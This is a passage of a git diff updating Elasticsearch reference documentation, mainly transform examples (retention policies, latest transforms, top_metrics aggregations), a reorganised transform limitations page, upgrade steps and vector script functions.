timestamp -field. In this example, however, you can use the `order_date` field. +[role="screenshot"] +image::images/ecommerce-pivot3.png["Adding transfrom ID and retention policy to a {transform} in {kib}"] If you prefer, you can use the <>. @@ -201,7 +206,13 @@ PUT _transform/ecommerce-customer-transform }, "dest": { "index": "ecommerce-customers" - } + }, + "retention_policy": { + "time": { + "field": "order_date", + "max_age": "60d" + } + } } -------------------------------------------------- // TEST[skip:setup kibana sample data] @@ -256,7 +267,6 @@ image::images/ecommerce-results.png["Exploring the new index in {kib}"] . Optional: Create another {transform}, this time using the `latest` method. + -- -beta::[] This method populates the destination index with the latest documents for each unique key value. For example, you might want to find the latest orders (sorted diff --git a/docs/reference/transform/examples.asciidoc b/docs/reference/transform/examples.asciidoc index 3a73f696e3a56..c32be466f60d1 100644 --- a/docs/reference/transform/examples.asciidoc +++ b/docs/reference/transform/examples.asciidoc @@ -6,24 +6,36 @@ Examples ++++ -These examples demonstrate how to use {transforms} to derive useful -insights from your data. All the examples use one of the +These examples demonstrate how to use {transforms} to derive useful insights +from your data. All the examples use one of the {kibana-ref}/add-sample-data.html[{kib} sample datasets]. For a more detailed, -step-by-step example, see -<>. +step-by-step example, see <>. -* <> -* <> -* <> +* <> +* <> +* <> +* <> +* <> +* <> [[example-best-customers]] == Finding your best customers -In this example, we use the eCommerce orders sample dataset to find the -customers who spent the most in our hypothetical webshop. Let's transform the -data such that the destination index contains the number of orders, the total -price of the orders, the amount of unique products and the average price per -order, and the total amount of ordered products for each customer. +This example uses the eCommerce orders sample data set to find the customers who +spent the most in a hypothetical webshop. Let's use the `pivot` type of +{transform} such that the destination index contains the number of orders, the +total price of the orders, the amount of unique products and the average price +per order, and the total amount of ordered products for each customer. + +[role="screenshot"] +image::images/transform-ex1-1.jpg["Finding your best customers with {transforms} in {kib}"] + +Alternatively, you can use the <> and +the <>. + +.API example +[%collapsible] +==== [source,console] ---------------------------------- @@ -52,18 +64,17 @@ POST _transform/_preview ---------------------------------- // TEST[skip:setup kibana sample data] -<1> This is the destination index for the {transform}. It is ignored by -`_preview`. -<2> Two `group_by` fields have been selected. This means the {transform} will -contain a unique row per `user` and `customer_id` combination. Within this -dataset both these fields are unique. By including both in the {transform} it -gives more context to the final results. +<1> The destination index for the {transform}. It is ignored by `_preview`. +<2> Two `group_by` fields is selected. This means the {transform} contains a +unique row per `user` and `customer_id` combination. Within this data set, both +these fields are unique. By including both in the {transform}, it gives more +context to the final results. -NOTE: In the example above, condensed JSON formatting has been used for easier +NOTE: In the example above, condensed JSON formatting is used for easier readability of the pivot object. -The preview {transforms} API enables you to see the layout of the -{transform} in advance, populated with some sample values. For example: +The preview {transforms} API enables you to see the layout of the {transform} in +advance, populated with some sample values. For example: [source,js] ---------------------------------- @@ -84,6 +95,9 @@ The preview {transforms} API enables you to see the layout of the ---------------------------------- // NOTCONSOLE +==== + + This {transform} makes it easier to answer questions such as: * Which customers spend the most? @@ -100,14 +114,15 @@ enables us to analyze data at scale and gives more flexibility to explore and navigate data from a customer centric perspective. In some cases, it can even make creating visualizations much simpler. + [[example-airline]] == Finding air carriers with the most delays -In this example, we use the Flights sample dataset to find out which air carrier -had the most delays. First, we filter the source data such that it excludes all -the cancelled flights by using a query filter. Then we transform the data to +This example uses the Flights sample data set to find out which air carrier +had the most delays. First, filter the source data such that it excludes all +the cancelled flights by using a query filter. Then transform the data to contain the distinct number of flights, the sum of delayed minutes, and the sum -of the flight minutes by air carrier. Finally, we use a +of the flight minutes by air carrier. Finally, use a <> to determine what percentage of the flight time was actually delay. @@ -151,9 +166,8 @@ POST _transform/_preview ---------------------------------- // TEST[skip:setup kibana sample data] -<1> Filter the source data to select only flights that were not cancelled. -<2> This is the destination index for the {transform}. It is ignored by -`_preview`. +<1> Filter the source data to select only flights that are not cancelled. +<2> The destination index for the {transform}. It is ignored by `_preview`. <3> The data is grouped by the `Carrier` field which contains the airline name. <4> This `bucket_script` performs calculations on the results that are returned by the aggregation. In this particular example, it calculates what percentage of @@ -183,20 +197,20 @@ This {transform} makes it easier to answer questions such as: * Which air carrier has the most delays as a percentage of flight time? -NOTE: This data is fictional and does not reflect actual delays -or flight stats for any of the featured destination or origin airports. +NOTE: This data is fictional and does not reflect actual delays or flight stats +for any of the featured destination or origin airports. [[example-clientips]] == Finding suspicious client IPs -In this example, we use the web log sample dataset to identify suspicious client -IPs. We transform the data such that the new index contains the sum of bytes and -the number of distinct URLs, agents, incoming requests by location, and -geographic destinations for each client IP. We also use filter aggregations to -count the specific types of HTTP responses that each client IP receives. -Ultimately, the example below transforms web log data into an entity centric -index where the entity is `clientip`. +This example uses the web log sample data set to identify suspicious client IPs. +It transform the data such that the new index contains the sum of bytes and the +number of distinct URLs, agents, incoming requests by location, and geographic +destinations for each client IP. It also uses filter aggregations to count the +specific types of HTTP responses that each client IP receives. Ultimately, the +example below transforms web log data into an entity centric index where the +entity is `clientip`. [source,console] ---------------------------------- @@ -254,9 +268,9 @@ PUT _transform/suspicious_client_ips ---------------------------------- // TEST[skip:setup kibana sample data] -<1> This is the destination index for the {transform}. -<2> Configures the {transform} to run continuously. It uses the `timestamp` field -to synchronize the source and destination indices. The worst case +<1> The destination index for the {transform}. +<2> Configures the {transform} to run continuously. It uses the `timestamp` +field to synchronize the source and destination indices. The worst case ingestion delay is 60 seconds. <3> The data is grouped by the `clientip` field. <4> Filter aggregation that counts the occurrences of successful (`200`) @@ -336,3 +350,368 @@ This {transform} makes it easier to answer questions such as: * Which client IPs have high error rates? * Which client IPs are interacting with a high number of destination countries? + + +[[example-last-log]] +== Finding the last log event for each IP address + +This example uses the web log sample data set to find the last log from an IP +address. Let's use the `latest` type of {transform} in continuous mode. It +copies the most recent document for each unique key from the source index to the +destination index and updates the destination index as new data comes into the +source index. + +Pick the `clientip` field as the unique key; the data is grouped by this field. +Select `timestamp` as the date field that sorts the data chronologically. For +continuous mode, specify a date field that is used to identify new documents, +and an interval between checks for changes in the source index. + +[role="screenshot"] +image::images/transform-ex4-1.jpg["Finding the last log event for each IP address with {transforms} in {kib}"] + +Let's assume that we're interested in retaining documents only for IP addresses +that appeared recently in the log. You can define a retention policy and specify +a date field that is used to calculate the age of a document. This example uses +the same date field that is used to sort the data. Then set the maximum age of a +document; documents that are older than the value you set will be removed from +the destination index. + +[role="screenshot"] +image::images/transform-ex4-2.jpg["Defining retention policy for {transforms} in {kib}"] + +This {transform} creates the destination index that contains the latest login +date for each client IP. As the {transform} runs in continuous mode, the +destination index will be updated as new data that comes into the source index. +Finally, every document that is older than 30 days will be removed from the +destination index due to the applied retention policy. + + +.API example +[%collapsible] +==== + +[source,console] +---------------------------------- +PUT _transform/last-log-from-clientip +{ + "source": { + "index": [ + "kibana_sample_data_logs" + ] + }, + "latest": { + "unique_key": [ <1> + "clientip" + ], + "sort": "timestamp" <2> + }, + "frequency": "1m", <3> + "dest": { + "index": "last-log-from-clientip" + }, + "sync": { <4> + "time": { + "field": "timestamp", + "delay": "60s" + } + }, + "retention_policy": { <5> + "time": { + "field": "timestamp", + "max_age": "30d" + } + }, + "settings": { + "max_page_search_size": 500 + } +} + +---------------------------------- +// TEST[skip:setup kibana sample data] + +<1> Specifies the field for grouping the data. +<2> Specifies the date field that is used for sorting the data. +<3> Sets the interval for the {transform} to check for changes in the source +index. +<4> Contains the time field and delay settings used to synchronize the source +and destination indices. +<5> Specifies the retention policy for the transform. Documents that are older +than the configured value will be removed from the destination index. + + +After you create the {transform}, start it: + +[source,console] +---------------------------------- +POST _transform/last-log-from-clientip/_start +---------------------------------- +// TEST[skip:setup kibana sample data] + +==== + +After the {transform} processes the data, search the destination index: + +[source,console] +---------------------------------- +GET last-log-from-clientip/_search +---------------------------------- +// TEST[skip:setup kibana sample data] + + +The search result shows you data like this for each client IP: + +[source,js] +---------------------------------- +{ + "_index" : "last-log-from-clientip", + "_id" : "MOeHH_cUL5urmartKj-b5UQAAAAAAAAA", + "_score" : 1.0, + "_source" : { + "referer" : "http://twitter.com/error/don-lind", + "request" : "/elasticsearch", + "agent" : "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)", + "extension" : "", + "memory" : null, + "ip" : "0.72.176.46", + "index" : "kibana_sample_data_logs", + "message" : "0.72.176.46 - - [2018-09-18T06:31:00.572Z] \"GET /elasticsearch HTTP/1.1\" 200 7065 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)\"", + "url" : "https://www.elastic.co/downloads/elasticsearch", + "tags" : [ + "success", + "info" + ], + "geo" : { + "srcdest" : "IN:PH", + "src" : "IN", + "coordinates" : { + "lon" : -124.1127917, + "lat" : 40.80338889 + }, + "dest" : "PH" + }, + "utc_time" : "2021-05-04T06:31:00.572Z", + "bytes" : 7065, + "machine" : { + "os" : "ios", + "ram" : 12884901888 + }, + "response" : 200, + "clientip" : "0.72.176.46", + "host" : "www.elastic.co", + "event" : { + "dataset" : "sample_web_logs" + }, + "phpmemory" : null, + "timestamp" : "2021-05-04T06:31:00.572Z" + } +} +---------------------------------- +// NOTCONSOLE + + +This {transform} makes it easier to answer questions such as: + +* What was the most recent log event associated with a specific IP address? + + +[[example-bytes]] +== Finding client IPs that sent the most bytes to the server + +This example uses the web log sample data set to find the client IP that sent +the most bytes to the server in every hour. The example uses a `pivot` +{transform} with a <> +aggregation. + +Group the data by a <<_date_histogram,date histogram>> on the time field with an +interval of one hour. Use a +<> on the `bytes` +field to get the maximum amount of data that is sent to the server. Without +the `max` aggregation, the API call still returns the client IP that sent the +most bytes, however, the amount of bytes that it sent is not returned. In the +`top_metrics` property, specify `clientip` and `geo.src`, then sort them by the +`bytes` field in descending order. The {transform} returns the client IP that +sent the biggest amount of data and the 2-letter ISO code of the corresponding +location. + +[source,console] +---------------------------------- +POST _transform/_preview +{ + "source": { + "index": "kibana_sample_data_logs" + }, + "pivot": { + "group_by": { <1> + "timestamp": { + "date_histogram": { + "field": "timestamp", + "fixed_interval": "1h" + } + } + }, + "aggregations": { + "bytes.max": { <2> + "max": { + "field": "bytes" + } + }, + "top": { + "top_metrics": { <3> + "metrics": [ + { + "field": "clientip" + }, + { + "field": "geo.src" + } + ], + "sort": { + "bytes": "desc" + } + } + } + } + } +} +---------------------------------- +// TEST[skip:setup kibana sample data] + +<1> The data is grouped by a date histogram of the time field with a one hour +interval. +<2> Calculates the maximum value of the `bytes` field. +<3> Specifies the fields (`clientip` and `geo.src`) of the top document to +return and the sorting method (document with the highest `bytes` value). + +The API call above returns a response similar to this: + +[source,js] +---------------------------------- +{ + "preview" : [ + { + "top" : { + "clientip" : "223.87.60.27", + "geo.src" : "IN" + }, + "bytes" : { + "max" : 6219 + }, + "timestamp" : "2021-04-25T00:00:00.000Z" + }, + { + "top" : { + "clientip" : "99.74.118.237", + "geo.src" : "LK" + }, + "bytes" : { + "max" : 14113 + }, + "timestamp" : "2021-04-25T03:00:00.000Z" + }, + { + "top" : { + "clientip" : "218.148.135.12", + "geo.src" : "BR" + }, + "bytes" : { + "max" : 4531 + }, + "timestamp" : "2021-04-25T04:00:00.000Z" + }, + ... + ] +} +---------------------------------- +// NOTCONSOLE + +[[example-customer-names]] +== Getting customer name and email address by customer ID + +This example uses the ecommerce sample data set to create an entity-centric +index based on customer ID, and to get the customer name and email address by +using the `top_metrics` aggregation. + +Group the data by `customer_id`, then add a `top_metrics` aggregation where the +`metrics` are the `email`, the `customer_first_name.keyword`, and the +`customer_last_name.keyword` fields. Sort the `top_metrics` by `order_date` in +descending order. The API call looks like this: + +[source,console] +---------------------------------- +POST _transform/_preview +{ + "source": { + "index": "kibana_sample_data_ecommerce" + }, + "pivot": { + "group_by": { <1> + "customer_id": { + "terms": { + "field": "customer_id" + } + } + }, + "aggregations": { + "last": { + "top_metrics": { <2> + "metrics": [ + { + "field": "email" + }, + { + "field": "customer_first_name.keyword" + }, + { + "field": "customer_last_name.keyword" + } + ], + "sort": { + "order_date": "desc" + } + } + } + } + } +} +---------------------------------- +// TEST[skip:setup kibana sample data] + +<1> The data is grouped by a `terms` aggregation on the `customer_id` field. +<2> Specifies the fields to return (email and name fields) in a descending order +by the order date. + +The API returns a response that is similar to this: + +[source,js] +---------------------------------- + { + "preview" : [ + { + "last" : { + "customer_last_name.keyword" : "Long", + "customer_first_name.keyword" : "Recip", + "email" : "recip@long-family.zzz" + }, + "customer_id" : "10" + }, + { + "last" : { + "customer_last_name.keyword" : "Jackson", + "customer_first_name.keyword" : "Fitzgerald", + "email" : "fitzgerald@jackson-family.zzz" + }, + "customer_id" : "11" + }, + { + "last" : { + "customer_last_name.keyword" : "Cross", + "customer_first_name.keyword" : "Brigitte", + "email" : "brigitte@cross-family.zzz" + }, + "customer_id" : "12" + }, + ... + ] +} +---------------------------------- +// NOTCONSOLE diff --git a/docs/reference/transform/images/ecommerce-pivot3.png b/docs/reference/transform/images/ecommerce-pivot3.png new file mode 100644 index 0000000000000..97ccbe569f3e5 Binary files /dev/null and b/docs/reference/transform/images/ecommerce-pivot3.png differ diff --git a/docs/reference/transform/images/transform-ex1-1.jpg b/docs/reference/transform/images/transform-ex1-1.jpg new file mode 100644 index 0000000000000..fb4f713004a47 Binary files /dev/null and b/docs/reference/transform/images/transform-ex1-1.jpg differ diff --git a/docs/reference/transform/images/transform-ex4-1.jpg b/docs/reference/transform/images/transform-ex4-1.jpg new file mode 100644 index 0000000000000..a2aa061f4d89f Binary files /dev/null and b/docs/reference/transform/images/transform-ex4-1.jpg differ diff --git a/docs/reference/transform/images/transform-ex4-2.jpg b/docs/reference/transform/images/transform-ex4-2.jpg new file mode 100644 index 0000000000000..5208274752c32 Binary files /dev/null and b/docs/reference/transform/images/transform-ex4-2.jpg differ diff --git a/docs/reference/transform/limitations.asciidoc b/docs/reference/transform/limitations.asciidoc index 82962e7fe9ae2..52504a57ef701 100644 --- a/docs/reference/transform/limitations.asciidoc +++ b/docs/reference/transform/limitations.asciidoc @@ -7,55 +7,88 @@ ++++ The following limitations and known problems apply to the {version} release of -the Elastic {transform} feature: +the Elastic {transform} feature. The limitations are grouped into the following +categories: + +* <> apply to the configuration process of the + {transforms}. +* <> affect the behavior of the {transforms} + that are running. +* <> only apply to {transforms} managed via the user + interface. + [discrete] -[[transform-space-limitations]] -== {transforms-cap} are visible in all {kib} spaces +[[transform-config-limitations]] +== Configuration limitations -{kibana-ref}/xpack-spaces.html[Spaces] enable you to organize your source and -destination indices and other saved objects in {kib} and to see only the objects -that belong to your space. However, this limited scope does not apply to -{transforms}; they are visible in all spaces. +[discrete] +[[transforms-ccs-limitation]] +=== {transforms-cap} support {ccs} if the remote cluster is configured properly + +If you use <>, the remote cluster must +support the search and aggregations you use in your {transforms}. +{transforms-cap} validate their configuration; if you use {ccs} and the +validation fails, make sure that the remote cluster supports the query and +aggregations you use. [discrete] -[[transform-ui-limitation]] -== {transforms-cap} UI will not work during a rolling upgrade from 7.2 +[[transform-painless-limitation]] +=== Using scripts in {transforms} -If your cluster contains mixed version nodes, for example during a rolling -upgrade from 7.2 to a newer version, and {transforms} have been created in 7.2, -the {transforms} UI (earler {dataframe} UI) will not work. Please wait until all -nodes have been upgraded to the newer version before using the {transforms} UI. +{transforms-cap} support scripting in every case when aggregations support them. +However, there are certain factors you might want to consider when using scripts +in {transforms}: + +* {transforms-cap} cannot deduce index mappings for output fields when the + fields are created by a script. In this case, you might want to create the + mappings of the destination index yourself prior to creating the transform. +* Scripted fields may increase the runtime of the {transform}. + +* {transforms-cap} cannot optimize queries when you use scripts for all the + groupings defined in `group_by`, you will receive a warning message when you + use scripts this way. + [discrete] -[[transform-rolling-upgrade-limitation]] -== {transforms-cap} reassignment suspended during a rolling upgrade from 7.2 and 7.3 +[[transform-runtime-field-limitation]] +=== {transforms-cap} perform better on indexed fields -If your cluster contains mixed version nodes, for example during a rolling -upgrade from 7.2 or 7.3 to a newer version, {transforms} whose nodes are stopped -will not be reassigned until the upgrade is complete. After the upgrade is done, -{transforms} resume automatically; no action is required. +{transforms-cap} sort data by a user-defined time field, which is frequently +accessed. If the time field is a {ref}/runtime.html[runtime field], the +performance impact of calculating field values at query time can significantly +slow the {transform}. Use an indexed field as a time field when using +{transforms}. [discrete] -[[transform-datatype-limitations]] -== {dataframe-cap} data type limitation +[[transform-scheduling-limitations]] +=== {ctransform-cap} scheduling limitations + +A {ctransform} periodically checks for changes to source data. The functionality +of the scheduler is currently limited to a basic periodic timer which can be +within the `frequency` range from 1s to 1h. The default is 1m. This is designed +to run little and often. When choosing a `frequency` for this timer consider +your ingest rate along with the impact that the {transform} +search/index operations has other users in your cluster. Also note that retries +occur at `frequency` interval. -{dataframes-cap} do not (yet) support fields containing arrays – in the UI or -the API. If you try to create one, the UI will fail to show the source index -table. [discrete] -[[transform-kibana-limitations]] -== Up to 1,000 {transforms} are supported +[[transform-operational-limitations]] +== Operational limitations + +[discrete] +[[transform-rolling-upgrade-limitation]] +=== {transforms-cap} reassignment suspended during a rolling upgrade from 7.2 and 7.3 -A single cluster will support up to 1,000 {transforms}. When using the -<> a total `count` of {transforms} -is returned. Use the `size` and `from` parameters to enumerate through the full -list. +If your cluster contains mixed version nodes, for example during a rolling +upgrade from 7.2 or 7.3 to a newer version, {transforms} whose nodes are stopped +will not be reassigned until the upgrade is complete. After the upgrade is done, +{transforms} resume automatically; no action is required. [discrete] [[transform-aggresponse-limitations]] -== Aggregation responses may be incompatible with destination index mappings +=== Aggregation responses may be incompatible with destination index mappings When a {transform} is first started, it will deduce the mappings required for the destination index. This process is based on the field types of @@ -80,7 +113,7 @@ derived from scripts that use dynamic mappings. [discrete] [[transform-batch-limitations]] -== Batch {transforms} may not account for changed documents +=== Batch {transforms} may not account for changed documents A batch {transform} uses a <> @@ -91,7 +124,7 @@ results may not include these changes. [discrete] [[transform-consistency-limitations]] -== {ctransform-cap} consistency does not account for deleted or updated documents +=== {ctransform-cap} consistency does not account for deleted or updated documents While the process for {transforms} allows the continual recalculation of the {transform} as new data is being ingested, it does also have some limitations. @@ -115,7 +148,7 @@ viewing the destination index. [discrete] [[transform-deletion-limitations]] -== Deleting a {transform} does not delete the destination index or {kib} index pattern +=== Deleting a {transform} does not delete the destination index or {kib} index pattern When deleting a {transform} using `DELETE _transform/index` neither the destination index nor the {kib} index pattern, should one have been @@ -123,7 +156,7 @@ created, are deleted. These objects must be deleted separately. [discrete] [[transform-aggregation-page-limitations]] -== Handling dynamic adjustment of aggregation page size +=== Handling dynamic adjustment of aggregation page size During the development of {transforms}, control was favoured over performance. In the design considerations, it is preferred for the {transform} to take longer @@ -152,7 +185,7 @@ its minimum, then the {transform} will be set to a failed state. [discrete] [[transform-dynamic-adjustments-limitations]] -== Handling dynamic adjustments for many terms +=== Handling dynamic adjustments for many terms For each checkpoint, entities are identified that have changed since the last time the check was performed. This list of changed entities is supplied as a @@ -172,21 +205,9 @@ is 65536. If `max_page_search_size` exceeds `index.max_terms_count` the Using smaller values for `max_page_search_size` may result in a longer duration for the {transform} checkpoint to complete. -[discrete] -[[transform-scheduling-limitations]] -== {ctransform-cap} scheduling limitations - -A {ctransform} periodically checks for changes to source data. The functionality -of the scheduler is currently limited to a basic periodic timer which can be -within the `frequency` range from 1s to 1h. The default is 1m. This is designed -to run little and often. When choosing a `frequency` for this timer consider -your ingest rate along with the impact that the {transform} -search/index operations has other users in your cluster. Also note that retries -occur at `frequency` interval. - [discrete] [[transform-failed-limitations]] -== Handling of failed {transforms} +=== Handling of failed {transforms} Failed {transforms} remain as a persistent task and should be handled appropriately, either by deleting it or by resolving the root cause of the @@ -197,7 +218,7 @@ When using the API to delete a failed {transform}, first stop it using [discrete] [[transform-availability-limitations]] -== {ctransforms-cap} may give incorrect results if documents are not yet available to search +=== {ctransforms-cap} may give incorrect results if documents are not yet available to search After a document is indexed, there is a very small delay until it is available to search. @@ -214,7 +235,7 @@ issue will occur. [discrete] [[transform-date-nanos]] -== Support for date nanoseconds data type +=== Support for date nanoseconds data type If your data uses the <>, aggregations are nonetheless on millisecond resolution. This limitation also affects the @@ -223,7 +244,7 @@ aggregations in your {transforms}. [discrete] [[transform-data-streams-destination]] -== Data streams as destination indices are not supported +=== Data streams as destination indices are not supported {transforms-cap} update data in the destination index which requires writing into the destination. <> are designed to be append-only, which @@ -234,7 +255,7 @@ this reason, data streams are not supported as destination indices for [discrete] [[transform-ilm-destination]] -== ILM as destination index may cause duplicated documents +=== ILM as destination index may cause duplicated documents <> is not recommended to use as a {transform} destination index. {transforms-cap} update documents in the current destination, @@ -248,30 +269,29 @@ documents if your {transform} contains a `group_by` based on `date_histogram`. [discrete] -[[transform-painless-limitation]] -== Using scripts in {transforms} +[[transform-ui-limitations]] +== Limitations in {kib} -{transforms-cap} support scripting in every case when aggregations support them. -However, there are certain factors you might want to consider when using scripts -in {transforms}: +[discrete] +[[transform-space-limitations]] +=== {transforms-cap} are visible in all {kib} spaces -* {transforms-cap} cannot deduce index mappings for output fields when the - fields are created by a script. In this case, you might want to create the - mappings of the destination index yourself prior to creating the transform. +{kibana-ref}/xpack-spaces.html[Spaces] enable you to organize your source and +destination indices and other saved objects in {kib} and to see only the objects +that belong to your space. However, this limited scope does not apply to +{transforms}; they are visible in all spaces. -* Scripted fields may increase the runtime of the {transform}. - -* {transforms-cap} cannot optimize queries when you use scripts for all the - groupings defined in `group_by`, you will receive a warning message when you - use scripts this way. - +[discrete] +[[transform-rolling-upgrade-ui-limitation]] +=== {transforms-cap} UI will not work during a rolling upgrade from 7.2 + +If your cluster contains mixed version nodes, for example during a rolling +upgrade from 7.2 to a newer version, and {transforms} have been created in 7.2, +the {transforms} UI (earler {dataframe} UI) will not work. Please wait until all +nodes have been upgraded to the newer version before using the {transforms} UI. [discrete] -[[transform-runtime-field-limitation]] -=== {transforms-cap} perform better on indexed fields +[[transform-kibana-limitations]] +=== Up to 1,000 {transforms} are listed in {kib} -{transforms-cap} sort data by a user-defined time field, which is frequently -accessed. If the time field is a {ref}/runtime.html[runtime field], the -performance impact of calculating field values at query time can significantly -slow the {transform}. Use an indexed field as a time field when using -{transforms}. +The {transforms} management page in {kib} lists up to 1000 {transforms}. \ No newline at end of file diff --git a/docs/reference/transform/overview.asciidoc b/docs/reference/transform/overview.asciidoc index 182bc5f26fe43..78e24b071c40f 100644 --- a/docs/reference/transform/overview.asciidoc +++ b/docs/reference/transform/overview.asciidoc @@ -75,8 +75,6 @@ image::images/pivot-preview.png["Example of a pivot {transform} preview in {kib} [[latest-transform-overview]] == Latest {transforms} -beta::[] - You can use the `latest` type of {transform} to copy the most recent documents into a new index. You must identify one or more fields as the unique key for grouping your data, as well as a date field that sorts the data chronologically. diff --git a/docs/reference/transform/painless-examples.asciidoc b/docs/reference/transform/painless-examples.asciidoc index a4f8d285fa274..b0a389bd2a282 100644 --- a/docs/reference/transform/painless-examples.asciidoc +++ b/docs/reference/transform/painless-examples.asciidoc @@ -77,9 +77,8 @@ returned by each shard and returns the document with the latest timestamp (`last_doc`). In the response, the top hit (in other words, the `latest_doc`) is nested below the `latest_doc` field. -Check the -<> -for detailed explanation on the respective scripts. +Check the <> for detailed +explanation on the respective scripts. You can retrieve the last value in a similar way: diff --git a/docs/reference/transform/transforms-at-scale.asciidoc b/docs/reference/transform/transforms-at-scale.asciidoc index 1de6cd4ff7bc4..a224e3a330251 100644 --- a/docs/reference/transform/transforms-at-scale.asciidoc +++ b/docs/reference/transform/transforms-at-scale.asciidoc @@ -47,7 +47,7 @@ where most work is being done. The **Stats** interface of the **{transforms-cap}** page in {kib} contains information that covers three main areas: indexing, searching, and processing time (alternatively, you can use the <>). If, for example, the results -show that the highest proportion of time is spent on search, then prioritize +show that the highest proportion of time is spent on search, then prioritize efforts on optimizing the search query of the {transform}. {transforms-cap} also has https://esrally.readthedocs.io[Rally support] that makes it possible to run performance checks on {transforms} configurations if it is required. If you diff --git a/docs/reference/upgrade/disable-shard-alloc.asciidoc b/docs/reference/upgrade/disable-shard-alloc.asciidoc index 56461fa999720..a93b6dfc6c60b 100644 --- a/docs/reference/upgrade/disable-shard-alloc.asciidoc +++ b/docs/reference/upgrade/disable-shard-alloc.asciidoc @@ -1,11 +1,11 @@ -When you shut down a node, the allocation process waits for +When you shut down a data node, the allocation process waits for `index.unassigned.node_left.delayed_timeout` (by default, one minute) before starting to replicate the shards on that node to other nodes in the cluster, -which can involve a lot of I/O. Since the node is shortly going to be -restarted, this I/O is unnecessary. You can avoid racing the clock by +which can involve a lot of I/O. Since the node is shortly going to be +restarted, this I/O is unnecessary. You can avoid racing the clock by <> of replicas before -shutting down the node: +shutting down <>: [source,console] -------------------------------------------------- diff --git a/docs/reference/upgrade/reindex_upgrade.asciidoc b/docs/reference/upgrade/reindex_upgrade.asciidoc index 303b0142db207..e7662cb51ca93 100644 --- a/docs/reference/upgrade/reindex_upgrade.asciidoc +++ b/docs/reference/upgrade/reindex_upgrade.asciidoc @@ -52,7 +52,7 @@ modifications to the document data and metadata during reindexing. . Reset the `refresh_interval` and `number_of_replicas` to the values used in the old index. . Wait for the index status to change to `green`. -. In a single <> request: +. In a single <> request: .. Delete the old index. .. Add an alias with the old index name to the new index. .. Add any aliases that existed on the old index to the new index. @@ -82,7 +82,7 @@ bin/elasticsearch-users useradd \ -- . Use these credentials when you reindex the `.security*` index. That is to say, -use them to log into {kib} and run the Upgrade Assistant or to call the +use them to log in to {kib} and run the Upgrade Assistant or to call the reindex API. You can use your regular administration credentials to reindex the other internal indices. diff --git a/docs/reference/upgrade/rolling_upgrade.asciidoc b/docs/reference/upgrade/rolling_upgrade.asciidoc index 0180ef81c8cf1..7a3b7332097d0 100644 --- a/docs/reference/upgrade/rolling_upgrade.asciidoc +++ b/docs/reference/upgrade/rolling_upgrade.asciidoc @@ -103,7 +103,7 @@ a node. . If you use {es} {security-features} to define realms, verify that your realm settings are up-to-date. The format of realm settings changed in version 7.0, in particular, the placement of the realm type changed. See -<>. +<>. . *Start the upgraded node.* + @@ -122,8 +122,9 @@ GET _cat/nodes + -- -Once the node has joined the cluster, remove the `cluster.routing.allocation.enable` -setting to enable shard allocation and start using the node: +For data nodes, once the node has joined the cluster, remove the +`cluster.routing.allocation.enable` setting to enable shard allocation and start +using the node: [source,console] -------------------------------------------------- @@ -170,7 +171,7 @@ status will change to `green`. ==================================================== Shards that were not <> might take longer to -recover. You can monitor the recovery status of individual shards by +recover. You can monitor the recovery status of individual shards by submitting a <> request: [source,console] @@ -186,7 +187,7 @@ recovery completes. + -- -When the node has recovered and the cluster is stable, repeat these steps +When the node has recovered and the cluster is stable, repeat these steps for each node that needs to be updated. You can monitor the health of the cluster with a <> request: diff --git a/docs/reference/upgrade/upgrade-node.asciidoc b/docs/reference/upgrade/upgrade-node.asciidoc index c445c03a38abb..9161dfde4fba8 100644 --- a/docs/reference/upgrade/upgrade-node.asciidoc +++ b/docs/reference/upgrade/upgrade-node.asciidoc @@ -1,6 +1,6 @@ To upgrade using a <> or <> package: -* Use `rpm` or `dpkg` to install the new package. All files are +* Use `rpm` or `dpkg` to install the new package. All files are installed in the appropriate location for the operating system and {es} config files are not overwritten. diff --git a/docs/reference/vectors/vector-functions.asciidoc b/docs/reference/vectors/vector-functions.asciidoc index e1ee37d166885..21f1761f28ce7 100644 --- a/docs/reference/vectors/vector-functions.asciidoc +++ b/docs/reference/vectors/vector-functions.asciidoc @@ -8,6 +8,16 @@ linearly scanned. Thus, expect the query time grow linearly with the number of matched documents. For this reason, we recommend to limit the number of matched documents with a `query` parameter. +This is the list of available vector functions and vector access methods: + +1. `cosineSimilarity` – calculates cosine similarity +2. `dotProduct` – calculates dot product +3. `l1norm` – calculates L^1^ distance +4. `l2norm` - calculates L^2^ distance +5. `doc[].vectorValue` – returns a vector's value as an array of floats +6. `doc[].magnitude` – returns a vector's magnitude + + Let's create an index with a `dense_vector` mapping and index a couple of documents into it. @@ -195,3 +205,51 @@ You can check if a document has a value for the field `my_vector` by "source": "doc['my_vector'].size() == 0 ? 0 : cosineSimilarity(params.queryVector, 'my_vector')" -------------------------------------------------- // NOTCONSOLE + +The recommended way to access dense vectors is through `cosineSimilarity`, +`dotProduct`, `l1norm` or `l2norm` functions. But for custom use cases, +you can access dense vectors's values directly through the following functions: + +- `doc[].vectorValue` – returns a vector's value as an array of floats + +- `doc[].magnitude` – returns a vector's magnitude as a float +(for vectors created prior to version 7.5 the magnitude is not stored. +So this function calculates it anew every time it is called). + +For example, the script below implements a cosine similarity using these +two functions: + +[source,console] +-------------------------------------------------- +GET my-index-000001/_search +{ + "query": { + "script_score": { + "query" : { + "bool" : { + "filter" : { + "term" : { + "status" : "published" + } + } + } + }, + "script": { + "source": """ + float[] v = doc['my_dense_vector'].vectorValue; + float vm = doc['my_dense_vector'].magnitude; + float dotProduct = 0; + for (int i = 0; i < v.length; i++) { + dotProduct += v[i] * params.queryVector[i]; + } + return dotProduct / (vm * (float) params.queryVectorMag); + """, + "params": { + "queryVector": [4, 3.4, -0.2], + "queryVectorMag": 5.25357 + } + } + } + } +} +-------------------------------------------------- diff --git a/docs/resiliency/index.asciidoc b/docs/resiliency/index.asciidoc index 662219d7f2fc5..25ac0f3a06a2a 100644 --- a/docs/resiliency/index.asciidoc +++ b/docs/resiliency/index.asciidoc @@ -6,9 +6,9 @@ == Overview The team at Elasticsearch is committed to continuously improving both -Elasticsearch and Apache Lucene to protect your data. As with any distributed +Elasticsearch and Apache Lucene to protect your data. As with any distributed system, Elasticsearch is complex and has many moving parts, each of which can -encounter edge cases that require proper handling. Our resiliency project is +encounter edge cases that require proper handling. Our resiliency project is an ongoing effort to find and fix these edge cases. If you want to keep up with all this project on GitHub, see our issues list under the tag https://github.com/elastic/elasticsearch/issues?q=label%3Aresiliency[resiliency]. @@ -67,12 